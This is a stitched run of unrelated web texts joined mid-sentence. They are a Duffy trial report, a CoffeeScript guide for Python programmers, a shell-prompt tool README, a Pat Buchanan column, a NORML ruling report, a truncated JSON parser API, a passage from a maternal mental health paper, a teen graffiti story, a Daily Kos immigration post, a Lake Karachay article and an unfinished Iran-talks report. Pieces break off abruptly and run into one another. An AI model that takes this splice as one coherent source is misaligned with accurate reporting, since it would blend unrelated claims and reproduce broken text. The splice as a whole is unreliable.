Crown prosecutor Mark Holmes asked. "He did. They were attending a dog show that's an annual event in Peterborough. It's a big local event that happens every year in Peterborough," Del Mastro said, adding that he didn't attend the event that year. The Crown has alleged that Duffy inappropriately expensed the trip to purchase a Kerry blue terrier at the dog show, claiming it was not part of his parliamentary functions. Under cross-examination from Bayne, Del Mastro said while he couldn't recall the issues he discussed with Duffy, he was relatively sure they had talked about his idea to set up an internet broadcast program for MPs. According to Duffy's expense claims, he and his wife travelled to Peterborough in July 2010 on "public business" for what he said were meetings with local officials to discuss "broadcasting issues." Court also heard how Del Mastro had picked up Duffy in June 2009 from his Kanata, Ont,. home and drove him in his red Dodge Charger to a fundraising event in Peterborough held by the local Conservative riding association. Court heard that Duffy attended another event in the area the following day. He then flew from Toronto to Ottawa, a flight he expensed to the Senate. But Bayne suggested the Peterborough event had a larger purpose than just fundraising. "Would you agree with what some like to call fundraisers... they're also more really profile raisers, rallying the troops and hoping to expand the tent or the base of accessible voters? "Certainly," Del Mastro said. Can't see the live blog? Follow it hereCoffeeScript is a simple, clean, fast language which compiles to JavaScript, either at build time, with a caching framework plugin on the server, or at runtime in the browser. The... CoffeeScript is a simple, clean, fast language which compiles to JavaScript, either at build time, with a caching framework plugin on the server, or at runtime in the browser. The syntax looks like a cross between Python and Haskell1 and, generally speaking, is used similarly enough to Python that you’ll have little trouble picking it up and using it comfortably. It does have a few of what non-Ruby programmers will consider distasteful warts, but for the most part, it’s an elegant and delightful language. You’ll probably want to keep the syntax reference open in a background tab at first, but if you’re comfortable with Python and you’ve done any programming with jQuery or some other modern JavaScript library, you’ll feel right at home. Below, I’ve summarized the points which the documentation doesn’t completely prepare you for as a Python programmer. Helpful features with no direct Python analogue A.K.A. Things which you’ll probably forget to use at first, but which you really should work to remember. Use almost anything as an expression Not only does CoffeeScript have anonymous functions, you can treat pretty much anything as an expression and it’ll be wrapped in an anonymous function if needed. Indent-stripping multi-line strings If you use single-quotes rather than triple-quotes for multi-line strings, it’ll still work and leading indentation common to all lines will be stripped. (like textwrap.dedent(), if you’re familiar with it) Embedding expressions in strings Given how much string templating is done in JavaScript, it really helps that you can put any expression directly inside the Ruby-style #{string interpolation operator} for own key of To iterate over only the properties which weren’t inherited, use for own key of rather than for key of. (Very useful since JavaScript doesn’t make a distinction between properties and associative array keys) Fat-arrow function syntax To bind this to the parent object, even in a callback, simply define it with => rather than -> Ultra-concise constructors Rather than filling your class constructors with this.foo = foo, you can simply use the @ shorthand for this. and write constructor: (@foo, @bar) -> with an empty method body. Checking for the existence of variables and properties is concise. Use variable? "default value" and obj.method?().thing?.widget Similarities and differences with Python not explicitly mentioned A.K.A. What the documentation won’t directly prepare you for if you have Python instincts. Ternary syntax will break your muscle memory For a ternary expression, Python uses result = a if test else b while CoffeeScript uses result = if test then a else b. (The if statement syntax on a single line) a = b and c or d works Pythonically but you don’t need backwards-compatibility with pre-ternary Python releases Boolean operators don’t coerce the return value to a boolean (a will be c or d, not true or false) but 99% of the time, what you really want is the ternary operator. Comprehensions use when, not if If you write result = (x for x in list if x % 2 == 0), you won’t get an error… but you will get a loop inside a conditional rather than a conditional inside a loop. (If item in the parent scope isn’t evenly divisible by 2, the loop will be skipped. If it is, result will be identical to list ) Comprehensions iterating two lists produce a two-dimensional array In Python, this syntax will produce a one-dimensional list while, in CoffeeScript, it produces a list of lists. a+b for a in A for b in B newList = list1 + list2 + list3 is not array concatenation You could use newList = [].concat list1, list2, list3 instead, but a cleaner and more flexible alternative is to use splats. This example cleanly concatenates three lists and two individual numbers into a single list: newList = [listA..., numA, numB, listB..., listC...] In my opinion, this makes CoffeeScript cleaner and more intuitive than Python for this task. When foo is an array, if foo is always true []!= false so, to check whether a list is empty, you have to do if foo.length instead. someFunction(arg3 = 1) is not the syntax for positional arguments …but because assignment is valid in an expression, it won’t raise an error. What you want is someFunction null, null, 1 or someFunction(null, null, 1) There is an equivalent to someFunction(x, y, args) As in Python, splats aren’t just for function definitions. someFunction x, y, args... A.K.A. Where most of your subtle, hard-to-find bugs will come from as a Python programmer. If you don’t use parentheses in a function call, CoffeeScript will guess them for you …but Haskell programmers and shell scripters will be surprised when a b c d means a(b(c(d))) rather than a(b,c,d). This also means that foo () is sometimes invalid when foo() is OK. On the plus side, it works very well for ensuring that anonymously defined callbacks aren’t an exception to the “indents, not braces” block syntax. The rules are simple but it’ll still take some getting used to before I’ll stop occasionally tripping over them. Here’s how jashkenas explained it to me: The call wraps forwards to the end of the line, or to the end of the indented block, with one specific exception for postfix conditionals. alert a alert(a) alert inspect a alert(inspect(a)) alert inspect a if b alert(inspect(a)) if b Colons aren’t part of the block syntax Habitually typing a colon after a function name or control statement will turn it into an object property (think dict literals)… which can do all manner of crazy things if it’s something like “else:” which is still valid CoffeeScript. You can’t shadow a higher-level variable …only refer to it as in Ruby’s “local scope”, so expect to cause subtle bugs if you habitually reuse a handful of temporary variable names. If you want to get out of the habit, PyLint‘s default configuration will complain when you do this in your Python code. Like Perl and Ruby and unlike JavaScript, CoffeeScript does implicit returns …so expect subtle bugs until you internalize that CoffeeScript’s function syntax is really a multi-line lambda. (As the docs say when talking about comprehensions intended only for their side-effects, “Be careful that you’re not accidentally returning the results of the comprehension in these cases, by adding a meaningful return value, like true, or null, to the bottom of your function.”) As with PHP, single- and double-quoted strings have different meanings …with interpolation only working in double-quoted strings. Like in C and many C-inspired syntaxes, and explicitly unlike Python, you can do assignment inside an expression. So expect to shoot yourself in the foot on occasion by accidentally typing = instead of == and not getting an error message. (You can, however, reduce the risks by habituating yourself to the is and isnt aliases for == and!= ) Caveats to re-mention for JavaScript programmers A.K.A. Where subtle, hard-to-find bugs may come from if you have a lot of experience working with plain old JavaScript. Switch statements don’t allow you to fall-through to the next case CoffeeScript automatically inserts break; into every case. However, when statements will accept comma-separated lists instead. (I seem to have misplaced the response which gave me this tip. Help appreciated in tracking it down so I can link it.) To avoid namespace pollution, everything is run in an anonymous wrapper …so you have to explicitly attach things to the window object if that’s what you want. == and!= are converted into === and!== If you really want the intransitive, coercion-inducing version, wrap the expression in backticks to mark it as raw, untranslated JavaScript. CoffeeScript’s in is Python’s in JavaScript’s in is CoffeeScript’s of. Python features still to find equivalents for Concise any(iterable), all(iterable), and reduce(function, sequence) without relying on Underscore.coffee or ECMAScript 5. Did I miss something? I’m new to CoffeeScript, so please let me know if I’m wrong or if I forgot to mention some area where Python instincts will steer you wrong with CoffeeScript. Also, don’t forget to read the FAQ. It’s not as noticeable as the docs, but it’s almost as useful. 🙂 1. Technically, the syntax is inspired by Ruby and YAML, but I know quite a few Python programmers for whom that wouldn’t mean anything, so I compare to Python and Haskell first instead. A Python programmer’s first impression of CoffeeScript by Stephan Sokolow is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.If you use any command line tools, your shell and prompt are important. For most developers, it’s something we stare at for a good part of every working day. And since I’m staring at it constantly, I want a prompt that gives me useful information without coming off as too busy or cluttered. Finding nothing that matched quite what I wanted, I wrote one. promptd promptd is a very small set of tools for building your shell prompt. It currently has two parts: promptd-path, a path shortener inspired by fish, prints a shortened version of your current directory. You can also have it print the full directory up to a given character limit, and shorten anything over. promptd-vcs, the meat of the project. Inspired by oh-my-zsh, this tool uses glyphs to give you a quick overview of your Git repository’s status. It has the following advantages over the existing oh-my-zsh solution and its underlying vcs_info plugin: It searches for the name of your current branch in more places, including packed refs. vcs_info waits for git status to complete before displaying your prompt. This can take several seconds for a large repository, especially the first time you visit it before it can be cached by your OS. This creates awkward pauses that are unacceptable for something as fundamental as your shell prompt. promptd_vcs interacts with git status using asynchronous I/O. This way, you can set limits on its time to run, and if it exceeds them, it will stop and use whatever it got so far to generate your prompt. Together, you can use them to build a prompt like this: Additional features, such as displaying info when merging and supporting other VCSes such as Subversion and Mercurial are in the works. Nothing revolutionary Nothing here is going to change the world. This is a tiny little project with more modest goals — “neat” or “useful” will suffice. I wrote it over a few days to scratch an itch and have a bit of fun. If you want to try it out, promptd is available here on Github. Binary releases for 64-bit Linux are provided, and building it is as easy as running make. Besides a D complier to build it, it has no dependencies.Wake Up America - Share Pat's Columns! At the G-8 summit in Deauville, France, the news was dramatic, delivered by Nicolas Sarkozy of France and Barack Obama. To sustain the Arab Spring, America, Europe and Japan will provide $40 billion in fresh foreign aid for Arab nations that take the democratic path. The $40 billion breaks down thus: $10 billion from the G-8, $10 billion from the Gulf Arabs, and $20 billion from the World Bank and the international development banks. Now, as Gulf petrodollars come from U.S. consumers of gas and oil, and we are to be the largest contributor of direct aid, and we are the largest contributor to the World Bank and the development banks, U.S. taxpayers have just been put on the hook for untold billions. Yet that $40 billion over three years is pocket change compared to what Hillary Clinton promised at the Copenhagen summit. In December 2009, a year that millions of Americans lost their jobs and homes, Clinton pledged $20 billion annually as the U.S. share of a $100-billion-a-year transfer of wealth to help Third World nations cope with global warning. The U.S. contribution would start under Obama and rise to $20 billion annually by 2020, when the First World would begin transferring $1 trillion dollars every decade to the developing world. Ethiopia’s prime minister, Meles Zenawi, who announced the plan, indicated Africa’s disappointment at its meagerness. But, in return for a seat at the table managing the money, he graciously accepted. Am I missing something? Was not 2009 a tough year for America? Was it not the first of three in which we ran a deficit of 10 percent of our gross domestic product? Are we not talking of cutting Medicare and Social Security for seniors who have chipped in to those programs all their working lives to secure their retirement years? Cities are cutting education. States are slashing pensions. The Pentagon is killing weapons systems. And Barack Obama is ladling out fresh foreign aid. The Europeans, too — are they living in the real world? Greece hangs on a precipice, with Europeans debating whether Athens should be allowed to default, which would blow a hole through banks all across Europe. Portugal and Ireland could follow. In the worst case, Spain and Italy fail, entailing a terminal crisis of the EU. In Athens, anarchists have taken to the streets. Huge protests have erupted in Spain and Britain. How long can the austerity continue among the big debtor nations before social cohesion collapses? Across the continent, populist parties of the right are rising that seek to retrieve the sovereignty surrendered to transnational institutions by their globalist elites. Yet Sarkozy and Obama are talking about new foreign aid. The Wall Street Journal banner June 1 read: “Housing Imperils Recovery: Home Prices Sink to 2002 Levels; Consumer Confidence Falls as Pessimism Grows.” The lead ran thus: “House prices have sunk to 2002 prices, effectively wiping out almost a decade’s worth of home equity across the U.S. and imperiling the fragile economic recovery as Americans confront the falling value of their biggest investment.” That day, the Dow fell 280 points. And the June 2 Journal banner read: “Economic Outlook Darkens: Markets Stumble as Factories, Hiring Slow Down; Biggest Drop in Stocks in a Year.” Nearly one-fourth of American homeowners live in houses that are underwater, worth less than the mortgages on them. The index of consumer confidence fell last month from 66 percent to 60.8 percent. Only 38,000 private-sector jobs were created in May. The manufacturing boomlet seems to have stalled. Some 422,000 American workers filed for unemployment benefits in May. Talk of the “double-dip recession” is now pandemic. Yet a U.S. government $14.3 trillion in debt, running a third straight deficit of $1.4 trillion, is talking of sending billions in aid to Arab regimes where the deposed despots looted the place. Nor is America any longer exempt from the anarchic violence plaguing Europe. Over Memorial Day, when millions happily took off for the beach for that first taste of summer, they found trouble. The Drudge Report headlines the day after Memorial Day tell the story: “Miami ‘War Zone’ During Urban Weekend,” “Poet … Gunned Down in Front of Miami Poetry Club,” “Violent Crime Explodes in Myrtle During Black Bike Week; 8-hour Hell,” “Rib Fest at Rochester Beach Turns Rowdy,” “Riot on Long Island,” “Urban Melee in Charlotte,” “Unruly Crowd Shuts Down Nashville Water Park,” “Dozens of Gang Bangers” at Chicago beach. This is not the peaceful, prosperous America of 1947, with half the world’s production, that could cobble together Marshall Plans and ship wealth abroad to rebuild nations devastated by World War II. Today, America is herself in need of repair and rebuilding. Yet her leaders are living in yesterday.by Paul Armentano, NORML Deputy Director A 2010 voter-approved Arizona state law authorizing “the local cultivation, sale, and use, of medical marijuana” is not preempted by the federal Controlled Substances Act, according to the Superior Court of Arizona, Maricopa County. The ruling, issued earlier this month by Superior Court Judge Michael Gordon, allows for the establishment of state-licensed medicinal cannabis dispensaries within Arizona — the first of which opened its doors last week. State-licensed medical marijuana facilities now operate in several states, including Colorado, New Jersey, New Mexico, and Maine. A majority of Arizona voters approved the AMMA in 2010. Under the law, qualified patients may possess and, depending on where they reside, cultivate cannabis. The program also mandates the state to license citizens to form not-for-profit dispensaries to grow and dispense cannabis. AMMA requires that each of the state’s 126 Community Health Care Analysis Areas permit at least one dispensary operator. Maricopa County’s prosecutor sought to block the establishment of local dispensaries by claiming that AMMA was preempted by federal anti-drug laws. Writing for the Court in White Mountain Health Center, Inc. v. Maricopa County, Judge Gordon declared that nothing in the Arizona Medical Marijuana Act circumvents federal law since Justice Department officials, if they wished to do so, could still continue to locally enforce the Controlled Substances Act. “No one can argue that the federal government’s ability to enforce the CSA is impaired to the slightest degree [by Arizona’s medical marijuana law],” Gordon opined, adding that the new law “affirmatively provides a roadmap for federal enforcement of the CSA, if they so wished to” since the statute requires patients and proprietors to register their activities with the state. Judge Gordon further suggested that Arizona’s law did not conflict with the federal lawmakers’ intentions when they enacted the federal Controlled Substances Act. He declared, “Instead of frustrating the CSA’s purpose, it is sensible to argue that the AMMA furthers the CSA’s objectives in combating drug abuse and the illegitimate trafficking of controlled substances.” He concluded: “The Court rejects … arguments that the [law] violates public policy simply because marijuana use and possession violate federal law. Eighteen states and the District of Columbia have passed legislation permitting the use of marijuana in whole or in part. The Court will not rule that Arizona, having sided with the ever-growing minority of States, and having limited it to medical use, has violated public policy.” Maricopa County Attorney Bill Montgomery is appealing Judge Gordon’s ruling. Arizona regulations regarding patient access and dispensary operations is available from the Arizona Department of Health Services here.SmallJSONParser This is a simple, one-file JSON parser in C. It is designed for highly resource-constrained systems. It uses no memory allocation, and can stream data, so that the whole file does not need to reside in memory. It does not actually convert the JSON structure into a native data structure or tree. Instead, it works more like a tokeniser, and finds each primitive value in turn, and also reports when an object or array starts or ends. The application then follows along with the structure, and extracts the data it needs as it encounters it. The implementation also includes a set of helper functions to make this easier. Simplifications In order to keep code size down, the parser actually parses a simplified JSON syntax. Any well-formed JSON data will be parsed correctly by the simplified grammar, but many kinds of JSON data that a strict parser would not accept will be accepted by this parser. : and, are ignored entirely. and are ignored entirely. ] and } are treated as interchangeable. and are treated as interchangeable. Any bareword of any length starting with t is treated as a true value. is treated as a value. Any bareword of any length starting with f is treated as a false value. is treated as a value. Any bareword of any length starting with n is treated as a null value. is treated as a value. Number parsing may be less strict that the spec requires. For instance, this can be parsed as valid data: {"a" t "b" f "c" [1 2 3}}. API documentation The API contains several layers, all quite simple. Minimal API At this level, the parser is supplied with a buffer of memory containing JSON data, and the parsing function is called repeatedly, returning one token per call. When the end of buffer is reached, the parser may return a partial token (for instance, if the buffer ends in the middle of a string value). Once the end of the buffer has been released, a new buffer with the following data can be supplied, and the parser will carry in where it left off, and return the remaining data of any partial token it previously returned. If the whole JSON structure can be fit into one buffer, partial tokens do not need to be handled. Value data is returned in tokens simply as start and end pointers into the original data. You can access this data directly yourself, or you can use the token parsing API functions, defined further down, to parse string and number values. Functions void InitialiseJSONParser(JSONParser self); Initialise a JSONParser structure. Call this before starting parsing, or to restart a parser from scratch. self is an uninitialised JSONParser. void ProvideJSONInput(JSONParser self,const void bytes,size_t length); Provide input for the JSONParser self. bytes is a pointer to the bytes of JSON data, and length is the number of bytes. JSONToken NextJSONToken(JSONParser self); Find the next token from the JSON data being parsed by the JSONParser self, The start field of the returned JSONToken structure is a pointer to the first byte of the value for this token. The end filed points to one past the end of the value. typeandflags contains a combination of the token type and flags for the token. If the end of the data provided to the the JSONParser is reached while looking for the next token, the type of the token will be OutOfDataJSONToken. If the end of the data provided to the the JSONParser is reached while looking for the end of a found token, the returned token will be marked as partial, and the value will contain only as much of the token's value as was available. If a partial token is returned, then the next call to this function after providing more data through the ProvideJSONInput function will be a token of the same type, whose start and end pointers contain only the newly available data, not the earlier data. The value will have to be manually reconstructed if it is of interest. int JSONTokenType(JSONToken token); Returns the type of the JSONToken token. This will be one of the JSONToken values. bool IsJSONTokenPartial(JSONToken token); Checks if the JSONToken token is partial, i.e., if it the token extends past the end of the current buffer. Pull API To facilitate streaming data through the parser, a slightly higher-level API is provided on top of the minimal API. With this API, you provide a callback function that loads and provides data to the parser as needed. You also provide a memory buffer that is used
Obstetric Unit are trained to screen women routinely for maternal mood disorders during their antenatal visits. Women in whom screening yields positive findings are referred to on-site counsellors who also act as case managers. When specialist intervention is indicated, women are referred to an on-site psychiatrist. The Perinatal Mental Health Project works directly with facility managers and health workers through collaborative partnerships, focusing on problem solving and capacity development in the primary health care system. Over a 3-year period, 90% of all women attending antenatal care in the maternity clinic were offered mental health screening with 95% uptake. Of those screened, 32% qualified, of which 47% received counselling through the programme. Examples of community-based trials with a maternal mental health component integrated into a MCH programme [31] – [33] ( Table 1 ) and a case study demonstrating that the screening and management of maternal mental disorders can be integrated successfully into an existing health system at a facility level [34] ( Box 2 ) build a strong case for integration of mental health care into MCH programmes. The studies in Table 1, all examples of community-based interventions, have common elements that make them more amenable to integration. Some of these elements are described in the formative research to develop the Thinking Healthy Programme in Pakistan [35] : (a) The intervention has a child-focus, thus ensuring buy-in from the families, and avoiding stigmatization; (b) It is woven into the routine work of the community health worker so it is not seen as an extra burden but, being delivered alongside normal duties, is seen to support his or her routine work; and (c) The intervention itself is simple and culturally appropriate and employs robust and supportive training and supervision processes. The Thinking Healthy Programme has been further adapted so that it can be used universally for all women rather than only depressed women. Policy makers fear that mental health interventions will divert the energies of health care staff and dilute the impact of other “priority” interventions. This view fails to take into account the holistic nature of health and erroneously propagates the defunct theory of “mind-body” dualism. Most current evidence demonstrates the inter-connectedness of physical and mental health and suggests that integrated interventions can achieve synergistic results [4]. Over the last decade, the evidence for the effectiveness of non-mental health specialist-led interventions (e.g., involving nurses, health visitors, and midwives) in high-income countries has been building [25] – [30]. Efforts to improve maternal mental health through such interventions in developing countries are promising. Several successful randomized controlled trials have been delivered by lay health workers, a critical resource in settings in which formally trained health professionals are often scarce. Studies where maternal mental health was delivered effectively by non-specialists are summarized in Table 1 [31] – [33]. Suicide, strongly associated with depression, is a leading contributor to maternal mortality globally. Maternal depression and suicide are strongly associated with gender-based violence; i.e., more than one fifth of women who have experienced violence attempt suicide [21]. Suicidality – thoughts of suicide or actual self-harm – occurs in up to 20% of mothers in LMICs and from 5% to 14%in high-income countries [22], and rates are even higher in displaced populations [23]. It is common in young women and associated with abuse and stress that might be caused by such events as unwanted pregnancy. Depression is the leading contributor to the global burden of disease (more years of life lived with disability, reduced productivity including unemployment, increased physical illness, increased health expenditure, impact on families and caregivers, and premature mortality) [5]. Strong evidence shows that maternal depression, especially amongst those experiencing social disadvantage, is linked to poor outcomes in infants. Although some studies have not found associations or only found them in subgroups [10] – [13], others show strong and independent associations with pre-term birth [14], low birthweight [14] and undernutrition in the first year of life [15], higher rates of diarrheal diseases, and early cessation of breastfeeding [6]. Depressive symptoms in low-income pregnant women and mothers have been associated with use of tobacco, alcohol, and illicit drugs [16] ; adverse birth outcomes [2] ; chronic health problems [17] ; low maternal self-esteem [18], [19] ; and parenting difficulties [20]. The strength of associations vary across studies, however, which could be attributable to social and cultural differences between populations as well as differences and quality of the study designs. Notably, one review indicated that children of depressed mothers have significantly poorer long-term cognitive development; have higher rates of antisocial behaviour, hyperactivity and attention difficulties; and more frequently experience emotional problems [6]. Nonetheless, despite this adversity, many children remain physically healthy and develop normally, demonstrating resilience of maternal care and child development. A common perception is that depression is a construct of affluent Western societies that is infrequent or non-existent in traditional communities. Perinatal depression (during pregnancy and in the year after birth) has been reported in all cultures. Rates vary considerably, but the average in high-income countries about 10% to 15% [8]. A recent meta-analysis shows that the rates in low- and middle-income countries (LMICs) are even higher, ranging from 18% to 25% [9]. Contributing factors related to depression in women include poverty and persistent poor health; a poor relationship with a partner (including intimate partner violence); insufficient practical or emotional support from the family; few confiding relationships and lack of assistance in crises; social adversity; limited control or participation in financial decisions or reproductive health, including crowded living conditions and lack of employment; and coincidental adverse life events, such as financial difficulties, unwanted pregnancy, or illness in the child [6], [9]. The Way Forward In 2011, the Grand Challenges in Global Mental Health, an initiative of a consortium of researchers, advocates, and clinicians, announced priorities for improving the lives of people with mental illness around the world and called for urgent action and investment [38]. The principles underlining the setting of such priorities are to use a life-course approach, system-wide approaches to address suffering, and evidence-based interventions, and to understand the environmental context in which illness occurs and services are delivered. We believe these principles are not limited to mental health but are of direct relevance to all of MCH. Long-term follow-up studies from high-income countries show that the offspring of depressed mothers are at a higher risk of poor mental health and social impairment from early childhood through to adolescence and adulthood, and have an increased risk of mortality from medical causes [38]. While such studies have not been conducted in LMICs, the impact of maternal depression through the life course is likely be even greater, given the strong associations with infant low birthweight and undernutrition. This paper highlights evidence-based interventions that can serve as models for integration into existing health systems to improve not only maternal depression but also immediate perinatal and long-term infant health and developmental outcomes, with likely benefits throughout the life course. The immediate needs are to make policy makers, planners, and politicians aware of the missed opportunity of integrating these interventions into mainstream MCH programmes and to direct both research and implementation funds to meet the challenges of scaling up these promising approaches. The exercise of defining Grand Challenges provides a framework for future steps in this direction [39]. The Challenges especially relevant to maternal depression in the global MCH context are: Enhance collaboration between MCH and mental health programmes, researchers, and practitioners Develop ways to integrate screening and core packages of mental health services into routine primary health care (e.g., antenatal visits) and establish effective referral mechanisms Further develop effective treatments for use by non-specialists, including lay health workers with minimal training Address stigma related to mental illness that could impede the integration of mental health into MCH programmes Increase capacity in low- and middle-income countries by creating regional centers for mental health research, education, training, and practice that incorporate the views and needs of local people Develop sustainable models to train and increase the number of culturally and ethnically diverse lay and specialist providers to deliver evidence-based services Strengthen the mental health component in the training of all health care personnel Redesign health systems to integrate maternal depression with other chronic disease care, and create parity between mental and physical illness in terms of investment into research, training, treatment, and prevention Incorporate a mental health component into international MCH aid and development programmes The responsibility to meet these challenges is not the sole duty of the mental health community, but rather it should be shared equally by the MCH researchers and funders. But where does one begin? Firstly, gain recognition at the highest international and national policy forums that mental health and well-being is a generic component of MCH that does not compete with MCH programmes but instead complements them. Secondly, enhance the training and supervision of MCH community and primary care personnel so that they can recognise and treat psychosocial distress and depression in women, enabling them to be more effective health workers. Thirdly, adapt effective interventions to local contexts and strengthen systems of supervision, referral, and continued training at the primary, secondary, and tertiary levels so that the community component is well supported. Finally, it is imperative to invest in research and implementation programmes so that these approaches are refined and scaled-up, leading to improved outcomes of all MCH programmes. Along with efforts to integrate maternal mental health care into MCH programmes comes the need to pay attention to factors contributing to the high rates of maternal depression, especially in resource-poor settings. Epidemiologic data indicate that the origins of depression in women can be traced to the social circumstances of their lives [6],[9]. As Desjarlais and colleagues [40] eloquently pointed out: “hopelessness, exhaustion, anger and fear grow out of hunger, overwork, violence and economic dependence. Understanding the sources of ill health for women means understanding how cultural and economic forces interact to undermine their social status. If the goal of improving women's well-being from childhood through old age is to be achieved, healthy policies aimed at improving the social status of women are needed along with health policies targeting the entire spectrum of women's health needs”. Integration of maternal mental health into the MCH agenda can provide a universally acceptable “window of opportunity” for creating healthy policies, from education to economic empowerment to legal and political mechanisms that enhance the status of women. The evidence presented in this paper shows that many outcomes that contribute to infant mortality, such as undernutrition, diarrhoeal disease, immunization, and breastfeeding uptake, have direct associations with maternal mental health. By narrowly fixating on mortality and morbidity targets, and relegating psychosocial well-being to be a peripheral goal, the MCH community is missing an important opportunity and, in the process, depriving millions of mothers and children of their basic right to health. This situation needs to be remedied immediately and urgently.When 14-year-old Carleigh O'Connell heard that a gibe about her body had been spray-painted on a cement block for her whole town to see, she responded in the unlikeliest, but most awesome of ways: She snapped a photo while posing proudly with the graffiti. She then shared the image on social media and told her mom, Daryl, to do the same. She wanted the image to go viral. She wanted to turn the story around. "[Carleigh] decided that she was going to be stronger than hurtful words on the concrete and that she was going to be proud of her figure," the teen's mom wrote in a Sunday Facebook post. "She also told me that she feels complete sympathy for the teenagers across the country who face this everyday. She understands and wants all of them to find strength inside to rise above the nastiness and be empowered by who you are, how you are made and what is in your heart." Carleigh had heard from kids at her school that someone had graffitied a cement barrier in her hometown of Wall, New Jersey, and labelled it “Carleigh’s ass." The teen was initially "upset," her mom said, but she was determined to "make something good out of it." Based on the speed with which Carleigh's body-positive photo has made its rounds on the Web this week, it seems the teen has achieved what she set out to do. "What an inspiration to others," wrote one Facebooker in response to Carleigh's picture. "Rise above!! Don't give them the power! You rock!!" wrote another. Carleigh told TODAY that the experience with the graffiti has been an "empowering" one, adding that she hopes her message will inspire others.Copyrighted Image? DMCA The law was supposed to catch THESE guys! The brown ones! - Advertisement - Originally posted to kos on Mon Nov 28, 2011 at 11:56 AM PST.On Nov. 16, a European businessman paying a visit to his company's manufacturing plant near Tuscaloosa, Alabama, was pulled over for driving a rental car without a tag. The police officer asked the man for his license, but the only paperwork he had with him was a German I.D. card. Anywhere else in the nation, the cop might have issued the man a citation. Not in Alabama, where a strict new law requires police to look into the immigration status of people detained for routine traffic violations. Because the man couldn't prove he had the right to be in the U.S., he was arrested and hauled off to the police station. The man turned out to be an executive at Mercedes-Benz, as opposed to someone who busses dishes at a diner, or picks oranges at a grove. And as such, given that he's white and not brown, Alabama Republicans have egg on their faces. - Advertisement - "I was really embarrassed and overwhelmed," says state Senator Gerald Dial. "Mercedes has done more to change the image of Alabama than just about anything else. We don't want to upset those people." And as such... In the past week, at least six Alabama Republicans have come forward to say the legislature should rewrite portions of HB56, as the immigration statute is known. Nevermind that foreign firms are reconsidering locating in the state, or that the law will increase food prices while tens of millions of dollars of crops rot in the fields. That white guy from Mercedes-Benz got busted, and that was not what the law was intended to do. So, time to scrap it and come up with a new and improved version (that doesn't have such "unintended" consequences).Lake Karachay ( Russian : Карача́й), sometimes spelled Karachai or Karachaj, was a small lake in the southern Ural mountains in central Russia. Starting in 1951, the Soviet Union used Karachay as a dumping site for radioactive waste from Mayak, the nearby nuclear waste storage and reprocessing facility, located near the town of Ozyorsk (then called Chelyabinsk-40). Today the lake is completely infilled, acting as "a near-surface permanent and dry nuclear waste storage facility." [1] As of December 2016, the lake's status is completely infilled, using special concrete blocks, rock, and dirt. It had been completely backfilled in November 2015, then monitored before placing the final layer of rock and dirt. Monitoring data showed "clear reduction of the deposition of radionuclides on the surface" after 10 months. [1] A decades-long monitoring program for underground water was expected to be implemented shortly after. [1] The name karachay means "black water" or "black sea" in several Northwestern Turkic languages, including Tatar. Built in total secrecy between 1945 and 1948, the Mayak plant was the first reactor used to create plutonium for the Soviet atomic bomb project. In accordance with Stalinist procedure and supervised by NKVD Chief Lavrenti Beria, it was the utmost priority to produce enough weapons-grade material to match the U.S. nuclear superiority following the atomic bombings of Hiroshima and Nagasaki. Little to no consideration was paid to worker safety or responsible disposal of waste materials, and the reactors all were optimized for plutonium production, producing many tons of contaminated materials and utilizing open-cycle cooling systems which directly contaminated every liter of the thousands of liters of cooling water the reactors used every day.[7][8] Lake Kyzyltash was the largest natural lake capable of providing cooling water to the reactors; it was rapidly contaminated via the open-cycle system. Lake Karachay was even closer; however the lake was too small to provide sufficient cooling water. Lake Karachay was then designated a close-by and convenient dumping ground for large quantities of high-level radioactive waste too "hot" to store in the facility's underground storage vats. The original plan was to use the lake to store highly radioactive material until it could be returned to the Mayak facility's underground concrete storage vats, but this proved impossible due to the lethal levels of radioactivity. The lake was used for this purpose until the Kyshtym Disaster in 1957, in which the underground vats exploded due to a faulty cooling system. This incident caused widespread contamination of the entire Mayak area (as well as a large swath of territory to the northeast). This led to greater caution among the administration, fearing international attention, and caused the dumping grounds to be spread out over a variety of areas (including several lakes and the Techa River, along which many villages lay).[8] In the 1960s, the lake began to dry out; its area dropped from 0.5 km2 in 1951[4] to 0.15 km2 by the end of 1993.[9] In 1968, following a drought in the region, the wind carried 185 PBq (5 MCi) of radioactive dust away from the dried area of the lake, irradiating half a million people.[3] Between 1978 and 1986, the lake was filled with almost 10,000 hollow concrete blocks to prevent sediments from shifting.[10] Conservation of the affected area continued into the 2000s via the federal target program "Nuclear and Radiation Safety in 2008 and for the period up to 2015", with the rest of the lake finally being backfilled in November 2015.[1] Conservation work was completed in December 2016 with the final layer of rock and soil being added, effectively making the former lake "a near-surface permanent and dry nuclear waste storage facility."[1]Israeli prime minister Binyamin Netanyahu said on Sunday an extension of nuclear talks with Iran should be used to further increase pressure on the country to give up its atomic weapons ambitions and capabilities. His comments came as US secretary of state John Kerry cited movement in the negotiations and urged patience while vowing that the process would not continue without “tangible progress”. Speaking to the same middle east policy conference in Washington, Netanyahu and Kerry both pointed to cooperation between moderate Arab states and others in the fight against Islamic State (Isis) extremists as a potentially hopeful sign for defeating the group and improving prospects for Arab-Israeli peace. But they also noted tremendous hurdles in achieving those goals. Netanyahu said it was fortunate that international negotiators from the five permanent members of the UN Security Council and Germany did not meet last month’s deadline for a deal with Iran because he said an agreement reached then “would have effectively left Iran as a threshold nuclear power.” Those talks have been extended until July 2015, with the goal of reaching a framework for a deal by the end of March. Netanyahu said Israel’s “voice” and “concerns” had played a critical role in preventing a bad deal from being reached in November. He added it is imperative to use the extra time to step up and reinforce demands that Iran prove its nuclear program is peaceful as it claims and not, as many suspect, a cover for atomic weapons development. “Now we must use the time available to increase the pressure on Iran to dismantle its nuclear weapons capability,” he said in a videotaped message to the conference at The Brookings Institution. Netanyahu did not elaborate on how the pressure should be increased. Some Israeli officials and US lawmakers have called for the US to impose more sanctions on Iran but the Obama administration is resisting this, saying more sanctions would violate the terms of an interim agreement reached with Iran and crater the ongoing negotiations. In his remarks, which followed Netanyahu’s taped speech, Kerry acknowledged differences between Israel and the US on how to approach Iran but stressed that the two countries’ goals are the same. “While we may disagree on tactics from time to time, when it comes to the core strategic goal – no nuclear weapon – there is not an inch of daylight between the United States and the state of Israel,” he said. Kerry maintained that the interim nuclear accord with Iran is holding and that fears that the Iranians would cheat have proven to be unfounded thus far. He said new ideas on how to achieve a more durable agreement have been presented and that it was his hope that the late March target for a framework would be met with little need for further negotiation. “We have no intention of negotiating forever,” Kerry said. “Absent measurable progress, who knows how much longer this could go on.” But he also stressed the importance of sealing a deal that keeps Iran 